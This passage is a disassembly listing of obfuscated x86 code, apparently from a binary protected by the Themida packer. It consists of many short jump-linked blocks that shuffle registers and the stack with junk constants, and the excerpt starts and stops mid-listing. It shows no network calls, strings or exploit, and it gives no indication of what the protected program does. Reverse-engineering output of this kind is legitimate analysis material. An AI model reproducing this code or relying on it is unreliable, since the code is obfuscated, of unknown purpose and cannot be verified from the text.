loc_5640DC:				; CODE XREF: sub_56207C+B0A6j
		sub	esi, ecx
		pop	ecx
		add	esi, edx
		add	esi, 6A742061h
		jmp	loc_55F778
; ---------------------------------------------------------------------------


loc_5640EC:				; CODE XREF: sub_56207C+8631j
		add	ebx, edi
		jmp	loc_56F5AD
; ---------------------------------------------------------------------------


loc_5640F3:				; CODE XREF: sub_56207C+E848j
		push	ebx
		mov	ebx, 6B87008h
		neg	ebx
		inc	ebx
		neg	ebx
		jmp	loc_56E1BF
; ---------------------------------------------------------------------------


loc_564103:				; CODE XREF: sub_56207C+2371j
		push	10AD7892h
		jmp	loc_5711EE
; ---------------------------------------------------------------------------


loc_56410D:				; CODE XREF: sub_56207C+5D18j
		sub	al, 11h
		jmp	loc_56E965
; ---------------------------------------------------------------------------


loc_564114:				; CODE XREF: sub_56207C-95Cj
		xchg	si, dx
		pop	si
		sub	dx, 1B5Ch
		mov	cx, dx
		mov	edx, [esp+36h+var_38+2]
		add	esp, 4
		xor	ax, cx
		pop	cx
		push	edx
		push	ecx
		push	small 4E78h
		pop	cx
		push	esi
		jmp	loc_5659E8
; ---------------------------------------------------------------------------


loc_56413D:				; CODE XREF: sub_56207C+B754j
		sub	eax, 445162AFh
		push	[esp+3Ch+var_3C]
		pop	ebx
		add	esp, 4
		push	ebp
		jmp	loc_562E8B
; ---------------------------------------------------------------------------


loc_564152:				; CODE XREF: sub_56207C+83CEj
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+40h+var_40]
		pop	esp
		mov	[esp+3Ch+var_3C], esp
		jmp	loc_56AAA7
; ---------------------------------------------------------------------------


loc_56416A:				; CODE XREF: sub_56207C-3979j
		pop	[esp+18h+var_18]
		mov	esp, [esp+14h+var_14]
		push	[esp+14h+var_14]
		pop	eax
		push	50FBh
		mov	[esp+18h+var_18], esi
		mov	esi, esp
		jmp	loc_56819C
; ---------------------------------------------------------------------------


loc_564183:				; CODE XREF: sub_56207C+50B7j
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		jmp	loc_572FD6
; ---------------------------------------------------------------------------


loc_564191:				; CODE XREF: sub_56207C+687Aj
		pop	esi
		sub	ecx, 8C0C8324h
		jmp	loc_5624CF
; ---------------------------------------------------------------------------


loc_56419D:				; CODE XREF: sub_56207C+D019j
		xchg	edi, [esp+18h+var_18]
		pop	esp
		mov	[esp+14h+var_14], ecx
		jmp	loc_5628D5
; ---------------------------------------------------------------------------


loc_5641A9:				; CODE XREF: sub_56207C+E0F6j
		mov	edi, 867550FEh
		jmp	loc_56BB96
; ---------------------------------------------------------------------------


loc_5641B3:				; CODE XREF: sub_56207C+6B02j
		push	526515E7h
		pop	ebx
		jmp	loc_55F596
; ---------------------------------------------------------------------------


loc_5641BE:				; CODE XREF: sub_56207C+EFCBj
		pop	ebp
		xchg	eax, [esp+10h+var_10]
		jmp	loc_56994D
; ---------------------------------------------------------------------------


loc_5641C7:				; CODE XREF: sub_56207C-22B9j
		inc	edi
		xor	edi, 0DAA379BCh
		sub	ebp, 4F161FADh
		sub	ebp, edi
		add	ebp, 4F161FADh
		pop	edi
		add	ebp, 78122E5Fh
		jmp	loc_572371
; ---------------------------------------------------------------------------


loc_5641E8:				; CODE XREF: sub_56207C+6EB5j
		sub	ebp, 1B915851h
		sub	ecx, 6ADF160Bh
		add	ecx, ebp
		add	ecx, 6ADF160Bh
		pop	ebp
		push	ecx
		push	[esp+20h+var_1C]
		pop	ecx
		pop	[esp+20h+var_20]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_570AD4
; ---------------------------------------------------------------------------


loc_56420E:				; CODE XREF: sub_56207C+4458j
		push	[esp+1Ch+var_18]
		mov	ebp, [esp+20h+var_20]
		add	esp, 4
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebp
		push	455Eh
		mov	[esp+20h+var_20], eax
		jmp	loc_56F25B
; ---------------------------------------------------------------------------


loc_564231:				; DATA XREF: Themida_:0055E154o
		push	dword ptr [edi+38h]
		push	ebp
		mov	ebp, 19777159h
		xor	[esp+28h+var_24], ebp
		pop	ebp
		mov	ecx, [esp+24h+var_24]
		add	esp, 4
		sub	esp, 4
		mov	[esp+24h+var_24], edi
		jmp	loc_56F0CF
; ---------------------------------------------------------------------------


loc_564253:				; CODE XREF: sub_56207C-8B6j
		add	ah, 0FFh
		jmp	loc_5608E5
; ---------------------------------------------------------------------------


loc_56425B:				; CODE XREF: sub_56207C-36C7j
		add	esi, ecx
		pop	ecx
		xor	esi, [esp+18h+var_18]
		xor	[esp+18h+var_18], esi
		xor	esi, [esp+18h+var_18]
		mov	esp, [esp+18h+var_18]
		push	4559h
		jmp	loc_56F7CB
; ---------------------------------------------------------------------------


loc_564274:				; CODE XREF: sub_56207C+9B6Fj
		add	esp, 4
		push	ecx
		jmp	loc_569DE2
; ---------------------------------------------------------------------------


loc_56427D:				; CODE XREF: sub_56207C+60C2j
		pop	ecx
		push	1F23h
		mov	[esp+1Ch+var_1C], ebp
		push	edi
		mov	edi, 4
		jmp	loc_56F4B7
; ---------------------------------------------------------------------------


loc_564291:				; CODE XREF: sub_56207C+DFA7j
		xor	ebp, [esp+20h+var_20]
		xor	[esp+20h+var_20], ebp
		xor	ebp, [esp+20h+var_20]
		pop	esp
		or	ecx, 6F53033Dh
		jmp	loc_568B58
; ---------------------------------------------------------------------------


loc_5642A6:				; CODE XREF: sub_56207C+2C23j
		pop	eax
		or	esi, 3E2C5BA2h
		shl	esi, 6
		add	esi, 0FC486E86h
		add	ebp, esi
		pop	esi
		jmp	loc_5642D2
; ---------------------------------------------------------------------------


loc_5642BE:				; CODE XREF: sub_56207C-13Cj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+28h+var_28]
		jmp	loc_566EA0
; ---------------------------------------------------------------------------


loc_5642D2:				; CODE XREF: sub_56207C+223Dj
		mov	ebx, ebp
		pop	ebp
		add	ebx, 27CB63C2h
		jmp	loc_5620F9
; ---------------------------------------------------------------------------


loc_5642E0:				; CODE XREF: sub_56207C-2282j
		add	ebp, 8D37362h
		push	esi
		mov	esi, 12054537h
		or	esi, 780F7062h
		add	esi, 4160C59h
		push	ecx
		mov	ecx, 42932FBAh
		or	ecx, 53E11DE2h
		neg	ecx
		xor	ecx, 4A2C11E4h
		jmp	loc_560AA0
; ---------------------------------------------------------------------------


loc_564311:				; CODE XREF: sub_56207C+3A30j
		sub	esp, 4
		mov	[esp+30h+var_30], ecx
		mov	ecx, esp
		jmp	loc_56526B
; ---------------------------------------------------------------------------


loc_56431E:				; CODE XREF: sub_56207C+3788j
		push	edi
		push	4
		pop	edi
		add	ebp, edi
		jmp	loc_56832A
; ---------------------------------------------------------------------------


loc_56432C:				; CODE XREF: sub_56207C+8667j
		mov	edx, ebx
		jmp	loc_56E42E
; ---------------------------------------------------------------------------


loc_564333:				; CODE XREF: sub_56207C+18A0j
		mov	esi, 126A0694h
		inc	esi
		or	esi, 528156E7h
		xor	esi, 59954947h
		push	eax
		mov	eax, 488F0D53h
		add	esi, eax
		mov	eax, [esp+2Ah+var_2C+2]
		add	esp, 4
		jmp	loc_57058E
; ---------------------------------------------------------------------------


loc_564358:				; CODE XREF: sub_56207C+36AAj
		mov	ax, word ptr [esp+26h+var_28+2]
		jmp	loc_56C20D
; ---------------------------------------------------------------------------


loc_564361:				; CODE XREF: sub_56207C+3133j
		mov	ah, 0C6h
		sub	ah, dl
		jmp	loc_57305A
; ---------------------------------------------------------------------------


loc_56436A:				; CODE XREF: sub_56207C+9AD6j
		add	edx, 420A1A4Fh
		not	edx
		inc	edx
		add	edx, 0FDF40572h
		add	esi, edx
		pop	edx
		add	ebp, 71284297h
		add	ebp, esi
		sub	ebp, 71284297h
		mov	esi, [esp+22h+var_24+2]
		add	esp, 4
		and	ecx, ebp
		mov	ebp, [esp+1Eh+var_20+2]
		add	esp, 4
		shr	ecx, 0Bh
		jmp	loc_56FDBA
; ---------------------------------------------------------------------------


loc_5643A0:				; CODE XREF: sub_56207C+239Dj
		mov	[esp+1Ah+var_1C+2], edx
		mov	dh, 3Ah
		push	eax
		push	ebx
		push	ecx
		mov	ch, 0D1h
		push	eax
		mov	al, 32h
		or	al, 11h
		sub	al, 0DFh
		and	ch, al
		pop	eax
		shl	ch, 2
		not	ch
		sub	ch, 21h
		jmp	loc_572B29
; ---------------------------------------------------------------------------


loc_5643C1:				; CODE XREF: sub_56207C+7234j
		pop	ebp
		jmp	loc_5615C9
; ---------------------------------------------------------------------------


loc_5643C7:				; CODE XREF: sub_56207C+A5BEj
		and	edx, 6F2A688Ch
		jmp	loc_55E870
; ---------------------------------------------------------------------------


loc_5643D2:				; CODE XREF: sub_56207C+10D03j
		push	esp
		jmp	loc_56E3A2
; ---------------------------------------------------------------------------


loc_5643D8:				; CODE XREF: sub_56207C+5D83j
		mov	[esp+26h+var_28+2], ebp
		push	esp
		jmp	loc_56A0F6
; ---------------------------------------------------------------------------


loc_5643E1:				; CODE XREF: sub_56207C-613j
		xor	[esp+2Eh+var_30+2], edx
		xor	edx, [esp+2Eh+var_30+2]
		jmp	loc_567D9F
; ---------------------------------------------------------------------------


loc_5643EC:				; CODE XREF: sub_56207C+A225j
		push	ecx
		jmp	loc_564103
; ---------------------------------------------------------------------------


loc_5643F2:				; CODE XREF: sub_56207C+6B9Cj
		mov	ebx, 1C4B6137h
		push	ecx
		mov	ecx, 89F34CFh
		sub	ebx, ecx
		pop	ecx
		jmp	loc_564DA7
; ---------------------------------------------------------------------------


loc_564405:				; CODE XREF: sub_56207C+51B8j
		shl	edx, 4
		sub	edx, 5DA84FB5h
		sub	eax, 981C14h
		jmp	loc_562222
; ---------------------------------------------------------------------------


loc_564418:				; CODE XREF: sub_56207C+9EA3j
		pop	esp
		jmp	loc_5643A0
; ---------------------------------------------------------------------------


loc_56441E:				; CODE XREF: sub_56207C+FAEEj
		add	ebx, 33EB0BF5h
		jmp	loc_55E825
; ---------------------------------------------------------------------------


loc_564429:				; CODE XREF: sub_56207C+5B3j
		and	ebx, 53483FE6h
		add	ebx, 1313D2Fh
		sub	esi, ebx
		pop	ebx
		add	esi, ebp
		add	esi, 1315D33h
		pop	ebp
		sub	esp, 4
		mov	[esp+32h+var_34+2], edx
		jmp	loc_5639ED
; ---------------------------------------------------------------------------


loc_56444F:				; CODE XREF: sub_56207C+1238j
		mov	edi, ecx
		jmp	loc_561B4E
; ---------------------------------------------------------------------------


loc_564456:				; CODE XREF: sub_56207C+1A76j
		mov	dl, 9Fh
		add	dl, 5Eh
		shr	dl, 5
		inc	dl
		jmp	loc_5733A5
; ---------------------------------------------------------------------------


loc_564465:				; CODE XREF: sub_56207C+1516j
		push	esp
		mov	ecx, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		jmp	loc_565EAB
; ---------------------------------------------------------------------------


loc_564471:				; CODE XREF: sub_56207C+9556j
		mov	esi, 746308E1h
		sub	eax, 415E5E3Eh
		sub	eax, esi
		add	eax, 415E5E3Eh
		jmp	loc_567F63
; ---------------------------------------------------------------------------


loc_564487:				; CODE XREF: sub_56207C+7FCFj
		not	ebp
		jmp	loc_5718CC
; ---------------------------------------------------------------------------


loc_56448E:				; CODE XREF: sub_56207C-32BAj
		not	eax
		xor	eax, 0C178AF70h
		add	ecx, eax
		pop	eax
		push	[esp+12h+var_14+2]
		push	[esp+16h+var_18+2]
		pop	edx
		jmp	loc_562D4E
; ---------------------------------------------------------------------------


loc_5644A4:				; CODE XREF: sub_56207C-38F4j
		add	ebp, 1
		push	696Dh
		mov	[esp+10h+var_10], esi
		mov	esi, 0C39E9435h
		add	ebp, esi
		jmp	loc_567F8A
; ---------------------------------------------------------------------------


loc_5644BB:				; CODE XREF: sub_56207C+CD2Aj
		pop	ebx
		pop	[esp+0Ch+var_C]
		jmp	loc_562F14
; ---------------------------------------------------------------------------


loc_5644C4:				; CODE XREF: sub_56207C-1073j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+38h+var_38]
		jmp	loc_55E799
; ---------------------------------------------------------------------------


loc_5644D8:				; CODE XREF: sub_56207C+C981j
		pop	ecx
		shl	bl, 8
		push	dx
		mov	dh, bl
		not	dh
		mov	bl, dh
		pop	dx
		sub	bl, 82h
		add	al, bl
		pop	ebx
		jmp	loc_565B78
; ---------------------------------------------------------------------------


loc_5644F1:				; CODE XREF: sub_56207C+1038Cj
		add	esp, 4
		jmp	loc_56F34A
; ---------------------------------------------------------------------------


loc_5644FC:				; CODE XREF: sub_56207C+FEF7j
		push	edi
		jmp	loc_571933
; ---------------------------------------------------------------------------


loc_564502:				; CODE XREF: sub_56207C+9D77j
		add	cl, dh
		sub	cl, 8Bh
		mov	edx, [esp+30h+var_30]
		add	esp, 4
		push	small 641Fh
		jmp	loc_57319D
; ---------------------------------------------------------------------------


loc_564519:				; CODE XREF: sub_56207C+4A0j
		mov	esp, [esp+3Eh+var_40+2]
		test	ecx, eax
		pushf
		jmp	loc_55E3C3
; ---------------------------------------------------------------------------


loc_564524:				; CODE XREF: sub_56207C+A3Ej
		sub	ebp, ebx
		jmp	loc_5695B9
; ---------------------------------------------------------------------------


loc_56452B:				; CODE XREF: sub_56207C+8EF5j
		xor	edi, 5EEFB027h
		mov	edx, edi
		pop	edi
		mov	ebx, 0DECDA63Dh
		add	ebx, edx
		jmp	loc_55F43D
; ---------------------------------------------------------------------------


loc_564540:				; CODE XREF: sub_56207C+E72Ej
		sub	edi, ebp
		jmp	loc_5648FB
; ---------------------------------------------------------------------------


loc_564547:				; CODE XREF: sub_56207C+83C5j
		pop	edi
		push	ebx
		mov	ebx, 7E1E7409h
		sub	ebx, 46692E2Ah
		push	esi
		mov	esi, 40BE72FFh
		sub	ebx, esi
		pop	esi
		sub	ebx, 8D1F56DFh
		xor	edi, ebx
		jmp	loc_5622F1
; ---------------------------------------------------------------------------


loc_56456A:				; CODE XREF: sub_56207C-2FDj
		mov	esp, [esp+34h+var_34]
		push	7A57h
		mov	[esp+38h+var_38], edi
		push	esi
		jmp	loc_56D76C
; ---------------------------------------------------------------------------


loc_56457B:				; CODE XREF: sub_56207C+E6C5j
		add	esp, 4
		jmp	loc_56F0E8
; ---------------------------------------------------------------------------


loc_564586:				; CODE XREF: sub_56207C-2560j
		mov	ecx, 55E93F8Dh
		and	edi, ecx
		pop	ecx
		push	esi
		mov	esi, 0D7FDF8h
		add	edi, 25496F21h
		add	edi, esi
		sub	edi, 25496F21h
		pop	esi
		and	eax, edi
		push	[esp+10h+var_10]
		jmp	loc_55F70B
; ---------------------------------------------------------------------------


loc_5645AD:				; CODE XREF: sub_56207C-1191j
		add	ecx, ebx
		pop	ebx
		dec	ecx
		jmp	loc_5692D1
; ---------------------------------------------------------------------------


loc_5645B6:				; CODE XREF: sub_56207C-357Dj
		mov	[esp+2Eh+var_30+2], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_57352A
; ---------------------------------------------------------------------------


loc_5645C6:				; CODE XREF: sub_56207C-FD0j
		push	esp
		pop	[esp+38h+var_38]
		add	[esp+34h+var_34], 4
		mov	ebp, [esp+34h+var_34]
		push	eax
		mov	eax, esp
		push	ebx
		mov	ebx, 31B85AF1h
		add	ebx, 754D1D96h
		jmp	loc_569E2D
; ---------------------------------------------------------------------------


loc_5645E5:				; CODE XREF: sub_56207C+A02Fj
		push	edi
		push	esp
		pop	edi
		push	eax
		mov	eax, 0D97163Eh
		jmp	loc_572631
; ---------------------------------------------------------------------------


loc_5645F3:				; CODE XREF: sub_56207C+6282j
		push	ebx
		jmp	loc_569CC4
; ---------------------------------------------------------------------------


loc_5645F9:				; CODE XREF: sub_56207C+6DEDj
		mov	edi, 8220744h
		shl	edi, 7
		push	37AEh
		mov	[esp+4Ch+var_4C], ecx
		mov	ecx, 5FA52896h
		xor	edi, ecx
		mov	ecx, [esp+4Ch+var_4C]
		add	esp, 4
		shr	edi, 1
		jmp	loc_573278
; ---------------------------------------------------------------------------


loc_56461D:				; CODE XREF: sub_56207C-1E29j
		add	ebp, edx
		push	edx
		mov	edx, 82D043Eh
		jmp	loc_56B098
; ---------------------------------------------------------------------------


loc_56462A:				; CODE XREF: sub_56207C+76B4j
		push	esi
		mov	esi, esp
		jmp	loc_5710CB
; ---------------------------------------------------------------------------


loc_564632:				; CODE XREF: sub_56207C+983j
		mov	edi, [esp+36h+var_38+2]
		add	esp, 4
		add	ebx, 4
		xor	ebx, [esp+32h+var_34+2]
		xor	[esp+32h+var_34+2], ebx
		jmp	loc_5676E1
; ---------------------------------------------------------------------------


loc_56464C:				; CODE XREF: sub_56207C-3647j
		xor	ebx, edi
		mov	edi, [esp+1Eh+var_20+2]
		add	esp, 4
		mov	edx, ebx
		jmp	loc_568EFB
; ---------------------------------------------------------------------------


loc_56465B:				; CODE XREF: sub_56207C+3800j
		sub	ecx, 2EA14A3Ah
		jmp	loc_571802
; ---------------------------------------------------------------------------


loc_564666:				; CODE XREF: sub_56207C-251Ej
		push	edi
		mov	edi, esp
		jmp	loc_563D08
; ---------------------------------------------------------------------------


loc_56466E:				; CODE XREF: sub_56207C+4FC4j
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		push	4
		jmp	loc_56BD47
; ---------------------------------------------------------------------------


loc_564688:				; CODE XREF: sub_56207C-93Ej
		mov	edx, 2E8A7C5Bh
		mov	esi, edx
		pop	edx
		jmp	loc_572802
; ---------------------------------------------------------------------------


loc_564695:				; CODE XREF: sub_56207C+F754j
		mov	esi, [esp+38h+var_38]
		jmp	loc_56622E
; ---------------------------------------------------------------------------


loc_56469D:				; CODE XREF: sub_56207C+E7DCj
		mov	[esp+38h+var_38], ecx
		jmp	loc_56975A
; ---------------------------------------------------------------------------


loc_5646A5:				; CODE XREF: sub_56207C-1605j
		add	[ebx], edx
		jmp	loc_57051F
; ---------------------------------------------------------------------------


loc_5646AC:				; CODE XREF: sub_56207C+8742j
		mov	[esp+12h+var_14+2], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp+12h+var_14+2]
		mov	esp, [esp+12h+var_14+2]
		mov	[esp+12h+var_14+2], ebp
		mov	ebp, 1BDF1703h
		jmp	loc_5735D4
; ---------------------------------------------------------------------------


loc_5646CD:				; DATA XREF: Themida_:0055E240o
		push	[esp+12h+var_14+2]
		mov	eax, [esp+16h+var_18+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+16h+var_18+2], ebx
		mov	ebx, esp
		add	ebx, 4
		push	edx
		jmp	loc_56B98A
; ---------------------------------------------------------------------------


loc_5646ED:				; CODE XREF: sub_56207C-2529j
		sub	edi, 69F0029Fh
		push	eax
		jmp	loc_56BCD9
; ---------------------------------------------------------------------------


loc_5646F9:				; CODE XREF: sub_56207C+1108Bj
		shl	eax, 6
		jmp	loc_56B3D4
; ---------------------------------------------------------------------------


loc_564701:				; DATA XREF: Themida_:0055E36Co
		mov	ax, [esp+0]
		jmp	loc_563514
; ---------------------------------------------------------------------------


loc_56470A:				; CODE XREF: sub_56207C-3AC7j
		push	42F1h
		mov	[esp+34h+var_34], eax
		push	5878h
		jmp	loc_57280E
; ---------------------------------------------------------------------------


loc_56471C:				; CODE XREF: sub_56207C+161Dj
		mov	ecx, 59BB0A2Bh
		add	[esp+3Eh+var_38+2], ecx
		pop	ecx
		pop	edi
		jmp	loc_561BE6
; ---------------------------------------------------------------------------


loc_56472C:				; CODE XREF: sub_56207C+9F63j
		push	edx
		jmp	loc_56FCAA
; ---------------------------------------------------------------------------


loc_564732:				; CODE XREF: sub_56207C+CE8Ej
		xor	byte ptr [esp+3Ah+var_3C+2], ch
		jmp	loc_5631F9
; ---------------------------------------------------------------------------


loc_56473A:				; CODE XREF: sub_56207C+BF1j
		push	edx
		mov	dl, 0E0h
		add	al, dl
		pop	edx
		push	small 400Eh
		mov	word ptr [esp+2+var_4+2], cx
		jmp	loc_56F9A1
; ---------------------------------------------------------------------------


loc_56474D:				; CODE XREF: sub_56207C+7E30j
		sub	ebx, edx
		mov	edx, [esp+2+var_4+2]
		push	edi
		push	esp
		jmp	loc_572975
; ---------------------------------------------------------------------------


loc_564759:				; CODE XREF: sub_56207C+76D9j
		mov	edx, 24h
		jmp	loc_567A89
; ---------------------------------------------------------------------------


loc_564763:				; CODE XREF: sub_56207C+942Cj
		and	eax, ebx
		push	[esp+0Ah+var_C+2]
		mov	ebx, [esp+0Eh+var_10+2]
		add	esp, 4
		push	4928h
		mov	[esp+0Eh+var_10+2], ebx
		mov	ebx, esp
		sub	esp, 4
		jmp	loc_57195D
; ---------------------------------------------------------------------------


loc_564786:				; CODE XREF: sub_56207C+6196j
		and	ch, 0EDh
		xor	ch, 78h
		push	cx
		mov	cl, 0D6h
		sub	al, cl
		jmp	loc_56E5BB
; ---------------------------------------------------------------------------


loc_564797:				; CODE XREF: sub_56207C-EADj
		or	ebp, 713518A4h
		sub	ebp, 5283D966h
		sub	eax, ebp
		pop	ebp
		shr	eax, 7
		jmp	loc_566136
; ---------------------------------------------------------------------------


loc_5647AE:				; CODE XREF: sub_56207C+F1E9j
		push	esi
		push	edx
		mov	edx, 2ADA2C0Fh
		mov	esi, 2E136297h
		sub	esi, edx
		jmp	loc_568D4C
; ---------------------------------------------------------------------------


loc_5647C1:				; CODE XREF: sub_56207C-A06j
		push	ecx
		push	esp
		jmp	loc_56949D
; ---------------------------------------------------------------------------


loc_5647C8:				; CODE XREF: sub_56207C+4C66j
		mov	esp, [esp+48h+var_48]
		add	esp, 4
		push	7C89h
		mov	[esp+48h+var_48], edi
		push	esp
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		sub	edi, 4
		xchg	edi, [esp+48h+var_48]
		mov	esp, [esp+48h+var_48]
		mov	[esp+48h+var_48], ecx
		jmp	loc_561080
; ---------------------------------------------------------------------------


loc_5647F5:				; CODE XREF: sub_56207C-7BAj
		mov	ecx, [esp+30h+var_30]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp+2Ch+var_2C]
		pop	esp
		jmp	loc_569031
; ---------------------------------------------------------------------------


loc_564807:				; CODE XREF: sub_56207C-27C5j
		push	[esp+0Eh+var_10+2]
		pop	ebx
		add	esp, 4
		jmp	loc_563382
; ---------------------------------------------------------------------------


loc_564813:				; DATA XREF: Themida_:0055E204o
		lodsb
		jmp	loc_570503
; ---------------------------------------------------------------------------


loc_564819:				; CODE XREF: sub_56207C+A7AAj
		xchg	ebp, [esp+0Ah+var_C+2]
		pop	esp
		push	231Eh
		mov	[esp+0Ah+var_C+2], ebx
		push	[esp+0Ah+var_8+2]
		mov	ebx, [esp+0Eh+var_10+2]
		jmp	loc_56D2D8
; ---------------------------------------------------------------------------


loc_564831:				; CODE XREF: sub_56207C+337Fj
		sub	esp, 4
		jmp	loc_56FBC3
; ---------------------------------------------------------------------------


loc_564839:				; CODE XREF: sub_56207C+7DEj
		mov	edx, esp
		add	edx, 4
		jmp	loc_56F612
; ---------------------------------------------------------------------------


loc_564846:				; CODE XREF: sub_56207C+2E08j
		sub	eax, 4278149Dh
		add	eax, 24E9172Ah
		add	eax, ecx
		jmp	loc_567143
; ---------------------------------------------------------------------------


loc_564857:				; CODE XREF: sub_56207C+7380j
		xchg	eax, [esp+1Ch+var_1C]
		pop	esp
		add	ebp, 4
		push	eax
		mov	eax, 272C3776h
		shr	eax, 3
		jmp	loc_56254D
; ---------------------------------------------------------------------------


loc_56486F:				; CODE XREF: sub_56207C+88E6j
		push	edi
		jmp	loc_56AA02
; ---------------------------------------------------------------------------


loc_564875:				; CODE XREF: sub_56207C-2199j
		not	cl
		jmp	loc_56EB1E
; ---------------------------------------------------------------------------


loc_56487C:				; CODE XREF: sub_56207C+6159j
		add	esp, 4
		add	esp, 4
		pop	[esp+2Ch+var_2C]
		pop	esp
		push	6804h
		mov	[esp+28h+var_28], edx
		push	esi
		mov	esi, 5281142Dh
		mov	edx, 0CD4A3D64h
		jmp	loc_566A36
; ---------------------------------------------------------------------------


loc_5648A1:				; CODE XREF: sub_56207C+17ECj
		add	edi, 2A5930FEh
		add	edi, edx
		sub	edi, 2A5930FEh
		mov	edx, [esp+3Ch+var_3C]
		add	esp, 4
		sub	edi, 582F2EC5h
		add	edi, 54DB4338h
		add	edi, ecx
		sub	edi, 54DB4338h
		add	edi, 582F2EC5h
		push	370Eh
		jmp	loc_562FCC
; ---------------------------------------------------------------------------


loc_5648D9:				; CODE XREF: sub_56207C+1543j
		add	esi, 59900BE9h
		add	esi, ebx
		push	6FDCh
		jmp	loc_55E529
; ---------------------------------------------------------------------------


loc_5648EB:				; CODE XREF: sub_56207C+10822j
		add	esp, 4
		add	edx, 368FCC16h
		and	eax, edx
		jmp	loc_56A4C0
; ---------------------------------------------------------------------------


loc_5648FB:				; CODE XREF: sub_56207C+24C6j
		pop	ebp
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		push	edx
		mov	edx, 4D78011Dh
		push	edx
		dec	[esp+1Ch+var_1C]
		not	[esp+1Ch+var_1C]
		jmp	loc_564FF4
; ---------------------------------------------------------------------------


loc_564912:				; CODE XREF: sub_56207C+ADF8j
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp+18h+var_18]
		pop	esp
		movzx	ax, byte ptr [eax]
		push	3E08h
		mov	[esp+18h+var_18], esi
		push	esp
		jmp	loc_55FC91
; ---------------------------------------------------------------------------


loc_564930:				; CODE XREF: sub_56207C-2F9Fj
		xor	ebx, 1C6h
		add	esi, 656D4B5Bh
		add	esi, ebx
		sub	esi, 656D4B5Bh
		jmp	loc_57182F
; ---------------------------------------------------------------------------


loc_564949:				; CODE XREF: sub_56207C+33E8j
		push	edi
		mov	edi, 7B750BFAh
		xchg	esi, edi
		dec	esi
		xchg	esi, edi
		xchg	eax, edi
		not	eax
		xchg	eax, edi
		jmp	loc_56B497
; ---------------------------------------------------------------------------


loc_56495D:				; CODE XREF: sub_56207C+9183j
		add	edx, ebp
		mov	ebp, [esp+30h+var_30]
		add	esp, 4
		push	esi
		push	7734h
		mov	[esp+34h+var_34], esp
		jmp	loc_570978
; ---------------------------------------------------------------------------


loc_564976:				; CODE XREF: sub_56207C+343Dj
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_569F62
; ---------------------------------------------------------------------------


loc_564983:				; CODE XREF: sub_56207C+A9Aj
		pop	edx
		add	edx, 5DE962C5h
		push	1FC5h
		jmp	loc_56D553
; ---------------------------------------------------------------------------


loc_564994:				; CODE XREF: sub_56207C-2D8Ej
		add	eax, ebp
		pop	ebp
		add	ebp, eax
		mov	eax, [esp+1Ah+var_1C+2]
		sub	esp, 4
		mov	[esp+1Eh+var_20+2], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Eh+var_20+2]
		pop	esp
		xor	ebp, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebp
		xor	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5682DD
; ---------------------------------------------------------------------------


loc_5649C0:				; CODE XREF: sub_56207C+EB5Ej
		add	eax, 6014248Ah
		not	eax
		xor	eax, 0A0CF7AF2h
		add	ebx, eax
		jmp	loc_5694A3
; ---------------------------------------------------------------------------


loc_5649D3:				; CODE XREF: sub_56207C+C13Ej
		push	edx
		push	ebp
		jmp	loc_5673A2
; ---------------------------------------------------------------------------


loc_5649DA:				; CODE XREF: sub_56207C+4CDBj
		or	edx, ecx
		pop	ecx
		shl	edx, 8
		jmp	loc_56A695
; ---------------------------------------------------------------------------


loc_5649E5:				; CODE XREF: sub_56207C+CECAj
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		jmp	loc_563856
; ---------------------------------------------------------------------------


loc_5649FB:				; CODE XREF: sub_56207C+64FDj
		mov	esp, [esp+1Eh+var_20+2]
		or	eax, eax
		jz	loc_5652C6
		push	2432h
		mov	[esp+22h+var_24+2], ebx
		push	esi
		jmp	loc_55E531
; ---------------------------------------------------------------------------


loc_564A14:				; CODE XREF: sub_56207C+CA0Aj
		sub	edi, ebp
		mov	ebp, [esp+26h+var_28+2]
		add	esp, 4
		xchg	edi, [esp+22h+var_24+2]
		mov	esp, [esp+22h+var_24+2]
		mov	[esp+22h+var_24+2], ebp
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		push	esi
		push	[esp+22h+var_20+2]
		pop	esi
		pop	[esp+22h+var_24+2]
		pop	esp
		div	cl
		movzx	cx, ah
		push	small 2B4Bh
		mov	word ptr [esp+1Ch+var_1C], cx
		jmp	loc_57071B
; ---------------------------------------------------------------------------


loc_564A4D:				; CODE XREF: sub_560886+1j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_567CC5
; ---------------------------------------------------------------------------


loc_564A61:				; CODE XREF: sub_56207C+E94Ej
		sub	edi, 47C23751h
		pop	edx
		sub	eax, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_56FD55
; ---------------------------------------------------------------------------


loc_564A75:				; CODE XREF: sub_56207C+8F6j
		mov	[esp+2Eh+var_30+2], eax
		push	[esp+2Eh+var_30+2]
		pop	ecx
		jmp	loc_5660A3
; ---------------------------------------------------------------------------


loc_564A81:				; CODE XREF: sub_56207C+BCCAj
		pop	ebx
		push	711Fh
		mov	[esp+2Eh+var_30+2], ecx
		add	[esp+2Eh+var_30+2], 1185609Ch
		jmp	loc_565AEB
; ---------------------------------------------------------------------------


loc_564A96:				; CODE XREF: sub_56207C+77Aj
		push	cx
